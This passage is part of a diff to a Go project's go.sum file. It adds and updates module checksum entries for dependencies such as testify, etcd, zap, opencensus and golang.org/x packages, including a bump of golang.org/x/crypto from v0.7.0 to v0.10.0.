+github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A= github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU= @@ -436,12 +1182,14 @@ github.com/pseudomuto/protoc-gen-doc v1.4.1/go.mod h1:exDTOVwqpp30eV/EDPFLZy3Pwr github.com/pseudomuto/protokit v0.2.0/go.mod h1:2PdH30hxVHsup8KpBTOXTBeMVhJZVio3Q8ViKSAXT0Q= github.com/pseudomuto/protokit v0.2.1 h1:kCYpE3thoR6Esm0CUvd5xbrDTOZPvQPTDeyXpZfrJdk= github.com/pseudomuto/protokit v0.2.1/go.mod h1:gt7N5Rz2flBzYafvaxyIxMZC0TTF5jDZfRnw25hAAyo= +github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/robfig/cron v1.2.0/go.mod h1:JGuDeoQd7Z6yL4zQhZ3OPEVHB7fL6Ka6skscFHfmt2k= github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= +github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= @@ -452,9 +1200,15 @@ github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThC github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/ruudk/golang-pdf417 v0.0.0-20181029194003-1af4ab5afa58/go.mod h1:6lfFZQK844Gfx8o5WFuvpxWRwnSoipWe/p622j1v06w= +github.com/ruudk/golang-pdf417 v0.0.0-20201230142125-a7e3863a1245/go.mod h1:pQAZKsJ8yyVxGRWYNEm9oFB8ieLgKFnamEyDmSA0BRk= +github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= +github.com/ryanuber/columnize v2.1.0+incompatible/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= +github.com/sagikazarmark/crypt v0.9.0/go.mod h1:RnH7sEhxfdnPm1z+XMgSLjWTEIjyK4z2dw6+4vHTMuo= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= github.com/schollz/progressbar/v2 v2.15.0 h1:dVzHQ8fHRmtPjD3K10jT3Qgn/+H+92jhPrhmxIJfDz8= github.com/schollz/progressbar/v2 v2.15.0/go.mod h1:UdPq3prGkfQ7MOzZKlDRpYKcFqEMczbD7YmbPgpzKMI= +github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4= github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ= github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= @@ -492,12 +1246,15 @@ github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoH github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v0.0.0-20170130113145-4d4bfba8f1d1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= +github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.5/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= @@ -506,6 +1263,7 @@ github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69 github.com/subosito/gotenv v1.4.2 h1:X1TuBLAMDFbaTAChgCBLu3DU3UPyELpnF2jjJ2cz/S8= github.com/subosito/gotenv v1.4.2/go.mod h1:ayKnFf/c6rvx/2iiLrJUk1e6plDbT3edrFNGqEflhK0= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= +github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc= github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= github.com/valyala/fasttemplate v1.0.1/go.mod h1:UQGH1tvbgY+Nz5t2n7tXsz52dQxojPUpymEIMZ47gx8= @@ -516,24 +1274,46 @@ github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= +github.com/yuin/goldmark v1.4.1/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= +github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +github.com/zeebo/assert v1.3.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0= +github.com/zeebo/xxh3 v1.0.2/go.mod h1:5NWz9Sef7zIDm2JHfFlcQvNekmcEl9ekUZQQKCYaDcA= github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q= go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= +go.etcd.io/etcd/api/v3 v3.5.6/go.mod h1:KFtNaxGDw4Yx/BA4iPPwevUTAuqcsPxzyX8PHydchN8= +go.etcd.io/etcd/client/pkg/v3 v3.5.6/go.mod h1:ggrwbk069qxpKPq8/FKkQ3Xq9y39kbFR4LnKszpRXeQ= +go.etcd.io/etcd/client/v2 v2.305.6/go.mod h1:BHha8XJGe8vCIBfWBpbBLVZ4QjOIlfoouvOwydu63E0= +go.etcd.io/etcd/client/v3 v3.5.6/go.mod h1:f6GRinRMCsFVv9Ht42EyY7nfsVGwrNO0WEoS2pRKzQk= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= +go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E= +go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= +go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= +go.opentelemetry.io/proto/otlp v0.15.0/go.mod h1:H7XAot3MsfNsj7EXtrA2q5xSNQ10UqI405h3+duxN4U= +go.opentelemetry.io/proto/otlp v0.19.0/go.mod h1:H7XAot3MsfNsj7EXtrA2q5xSNQ10UqI405h3+duxN4U= go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= +go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/goleak v1.1.11/go.mod h1:cwTWslyiVhfpKIDGSZEM2HlOvcqm+tG4zioyIeLoqMQ= go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4= go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU= +go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= +go.uber.org/multierr v1.8.0/go.mod h1:7EAYxJLBy9rStEaz58O2t4Uvip6FSURkq8/ppBp95ak= go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM= +go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo= +go.uber.org/zap v1.21.0/go.mod h1:wjWOCqI0f2ZZrJF/UufIOkiC8ii6tm1iqIsLo76RfJw= golang.org/x/crypto v0.0.0-20180501155221-613d6eafa307/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20181025213731-e84da0312774/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= @@ -542,6 +1322,7 @@ golang.org/x/crypto v0.0.0-20190411191339-88737f569e3a/go.mod h1:WFFai1msRO1wXaE golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200510223506-06a226fb4e37/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= @@ -550,20 +1331,38 @@ golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWP golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.7.0 h1:AvwMYaRytfdeVt3u6mLaxYtErKYjxA2OXjJ1HHq6t3A= -golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= +golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.10.0 h1:LKqV2xt9+kDzSTfOhx4FrkEBcMrAgHSYgzywV9zcGmM= +golang.org/x/crypto v0.10.0/go.mod h1:o4eNf7Ede1fv+hwOwZsTHl9EsPFO6q6ZvYR8vYfY45I= +golang.org/x/exp v0.0.0-20180321215751-8460e604b9de/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20180807140117-3d87b88a115f/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190125153040-c74c464bbbf2/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= +golang.org/x/exp v0.0.0-20191002040644-a1355ae1e2c3/go.mod h1:NOZ3BPKG0ec/BKJQgnvsSFpcKLM5xXVWnvZS97DWHgE= golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM= golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU= +golang.org/x/exp v0.0.0-20220827204233-334a2380cb91/go.mod h1:cyybsKvd6eL0RnXn6p/Grxp8F5bW7iYuBgsNCOHpMYE= +golang.org/x/image v0.0.0-20180708004352-c73c2afc3b81/go.mod h1:ux5Hcp/YLpHSI86hEcLt0YII63i6oz57MZXIpbrjZUs= golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20190910094157-69e4b8554b2a/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20200119044424-58c23975cae1/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20200430140353-33d19683fad8/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20200618115811-c13761719519/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20201208152932-35266b937fa6/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20210216034530-4410531fe030/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/image v0.0.0-20210607152325-775e3b0c77b9/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= +golang.org/x/image v0.0.0-20210628002857-a66eb6448b8d/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= +golang.org/x/image v0.0.0-20211028202545-6944b10bf410/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= +golang.org/x/image v0.0.0-20220302094943-723b81ca9867/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= @@ -574,6 +1373,8 @@ golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHl golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs= golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20210508222113-6edffad5e616/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= @@ -582,6 +1383,14 @@ golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzB golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.5.0/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= +golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.9.0 h1:KENHtAZL2y3NLMYZeHY9DW8HW8V+kQyJsY/V9JlKvCs= golang.org/x/mod v0.9.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -601,6 +1410,7 @@ golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLL golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= @@ -616,9 +1426,38 @@ golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81R golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= +golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= +golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= +golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20211015210444-4f30a5c0130f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod 